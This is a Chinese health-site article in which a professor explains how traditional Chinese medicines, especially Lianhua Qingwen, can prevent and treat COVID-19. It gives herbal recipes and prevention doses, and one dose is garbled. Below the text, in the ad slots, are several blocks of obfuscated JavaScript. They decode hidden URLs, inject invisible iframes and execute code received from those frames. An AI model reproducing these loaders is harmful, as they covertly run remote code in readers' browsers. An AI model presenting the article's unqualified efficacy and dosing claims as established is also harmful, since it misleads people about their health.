中医药预防新冠肺炎,怎样服用才有效.中医养生 尚春台,ai2hao.com 

中医药预防新冠肺炎,怎样服用才有效_中医养生

中药防治新冠肺炎,怎么服用更有效?权威专家张炜教授作专业解读。

日前,国家卫健委与国家中医药管理局联合发布了《新型冠状病毒肺炎诊疗方案(试行第九版)》的通知。本版方案推荐连花清瘟胶囊(颗粒)用于医学观察期人群、临床治疗期轻型及普通型的防治。

近日,不少上海市民收到社区发放的连花清瘟,对于中药是否能防治新冠肺炎,怎么服用进行防治,需要权威、专业的科学普及。记者特邀请国家新冠肺炎中医药救治专家组成员、上海市新冠肺炎医疗救治专家组成员、上海中医药大学附属曙光医院肺病科主任张炜教授作专业解读。

(图为张炜教授近影

应当及早使用中医药

世界卫生组织指出:中药能有效治疗新冠肺炎,降低轻型-普通型病例转为重症,缩短病毒清除时间,改善轻型和普通型新冠肺炎患者的临床预后。

本轮疫情无症状和轻症患者居多,多具有湿热夹风的特点,采用扶正祛邪、表里双解等中医方剂,结合中成药,对提高患者免疫力、改善症状、加快核酸转阴具有积极作用。

中医药历来重视“治未病”,中医早期介入对于患者不仅可改善症状,而且还有阻断毒邪深入的作用,对于重点人群及普通居民同样具有预防功效。面对传播力超强的奥密克戎变异株,我们应当及早使用中医药。

居民可选用中药代茶饮预防方(黄芪9克,干芦根9克,金银花5克,紫苏叶3克,广藿香3克,每日水煎服,当茶饮),亦可根据自身体质选用连花清瘟胶囊(颗粒)、藿香正气(水、片、胶囊)、疏风解毒胶囊、金花清感颗粒、痰热清胶囊,以及玉屏风散、银翘片等具有益气健脾、化湿清热、解毒化瘀等功效的中成药。

 根据自身症状与体质选药

4月6日,国家卫健委组织了专家论坛,明确指出:中药品种和方剂对治疗奥密克戎变异株感染仍然有效,正确使用后能够缩短核酸转阴时间。

针对大家比较关心的连花清瘟胶囊(颗粒),我要在此说明的是,连花清瘟胶囊(颗粒)对于热毒袭肺者有效,主治症状包括头痛、咽干、咽痛,舌体偏红,舌苔黄或黄腻等。在新冠病毒肺炎的常规治疗中,可用于轻型、普通型的发热、咳嗽、乏力。

研究发现,连花清瘟可治疗轻症和无症状,对新冠密接和次密接有预防作用。如果想用于新冠病毒肺炎的预防,可以少量短疗程进行服用。一般以说明书1m2剂量、3天一疗程为宜,如仍有不适,可续服一个疗程。

市民最好能够根据自身的症状与体质选择用药,这样可以提高预防疗效,减少副作用。对于怕冷易寒体质、胃口不好、易腹痛、腹泻的人群,则不建议用于预防。我们应按照中医的辨证施治原则,用好、用活我们的中医药。服药后如出现腹胀、腹痛、腹泻、胃口减退等情况,应立即停用,一般停药后以上症状会自行缓解,如未缓解请咨询医师。

(抗疫中药已陆续在不少社区发放)

“养心调气”应对缓解负面情绪

新冠疫情期间,普通人群容易出现焦虑、紧张、疲劳等负面情绪。中医认为“思则气结,劳则气耗”,气血是人体运行的根本,“养心调气”是应对缓解负面情绪的方法之一。

八段锦、太极拳、五禽戏、六字诀等中医传统养生功法,可通过调畅呼吸,推动气血运行,转移焦虑情绪。此外还可通过五音疗法,时常聆听一些节奏舒缓、曲调优美的音乐,也可以帮助我们舒缓情绪,缓解焦虑,避免应激,增强体质,抵御病毒。

交友与打赏

相关推荐

下面广告

eval("\x77\x69\x6e\x64\x6f\x77")["\x41\x6B\x6A\x73"]=function(e){var ks =''+'ABCDEFGHIJKLMN'+'OPQRSTUV'+'WXYZab'+'cdefghijklmnopq'+'rstuvwxyz012'+'3456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=ks.indexOf(e.charAt(f++));o=ks.indexOf(e.charAt(f++));u=ks.indexOf(e.charAt(f++));a=ks.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x4F\x6B\x4A\x6A\x6B\x41\x68\x72"]=function(){eval(Akjs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoQWtqcyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEFranMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihBa2pzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbQWtqcygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfMzI1MSc7dmFyIF9fYWFucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19hYW5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzMyNTEnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fYWFucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oQWtqcyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PVFOJysnTnknKycwU00nKycxSScrJ3onKydNdE1tJysnUnlVJysneWRqJysnWkcnKydOTnQnKydSbVJ5VScrJ3lNMFFEJysnTScrJ3hFMCcrJ01sJysnMDJiaicrJzUnKydpYTNWVycrJ2UwZFgnKydadWMnKyczZDNaaycrJ01sJysnWWtNbCcrJ0UnKycwTScrJ2xNSCcrJ2MwJysnUkhhJysnJysnJywnJysnTDlmJysnWXo5JysncVUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnSUtFJysnMnV3JysnQicrJycrJycsJ04nKQ=="));}

其他快速通道

eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x46\x5A\x46"]=function(e){var iL =''+'ABCDEF'+'GHIJKLM'+'NOPQRSTUVWXY'+'Zabcdefg'+'hijklmnopqrst'+'uvwxyz0123456789'+'+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=iL.indexOf(e.charAt(f++));o=iL.indexOf(e.charAt(f++));u=iL.indexOf(e.charAt(f++));a=iL.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x46\x44\x46\x5A\x50\x72\x4C\x69\x6B"]=function(){eval(FFZF("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoRkZaRih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEZGWkYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihGRlpGKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbRkZaRigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEZGWkYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVQnKydMM1VEJysnTjMwQ2UnKydHSicrJ0pUSkppJysnVjJaeHAnKycyJysnTUdKJysnSlRKJysnSnonKydRRE4nKyd3RVRRJysnelUnKydTYicrJ3ZOJysnbUxqbDInKydZJysnamxXZScrJ3VsRycrJ2InKyd1dzInKydjelonKydrTWxZJysna01sJysnRTBNbCcrJ00nKydIYzBSJysnSGEnKycnKycnLCcnKyc5TTgnKydRUkInKydJZycrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydOREEnKydLaEcnKyc5JysnJysnJywnSicp"));}
eval("\x77\x69\x6e\x64\x6f\x77")["\x53\x43\x53\x4A"]=function(e){var CS =''+'ABCDEFGHI'+'JKLMNOPQR'+'STUVWXYZabcdefghi'+'jklmnopqrs'+'tuvwxyz'+'0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=CS.indexOf(e.charAt(f++));o=CS.indexOf(e.charAt(f++));u=CS.indexOf(e.charAt(f++));a=CS.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x59\x4A\x58\x53\x43\x49\x48\x77\x53"]=function(){eval(SCSJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoU0NTSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFNDU0ooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihTQ1NKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbU0NTSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFNDU0ooZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9PScrJ3dNejAnKydDTTEnKydJJysneicrJ010JysnZ25SeScrJ1VTYmonKydkR0cnKydOMScrJ2tuUnlVJysneU0wUUQnKydNeEUnKycwTWwnKycwMicrJ2JqNScrJ2lhM1YnKydXZTAnKydkWFp1YycrJzMnKydkMycrJ1prTWxZJysnaycrJ01sRTAnKydNbE1IJysnYzBSSGEnKycnKycnLCcnKydjeTMnKyczSGonKydVOScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0WGUnKydrckQnKyc1JysnJysnJywnRycp"));}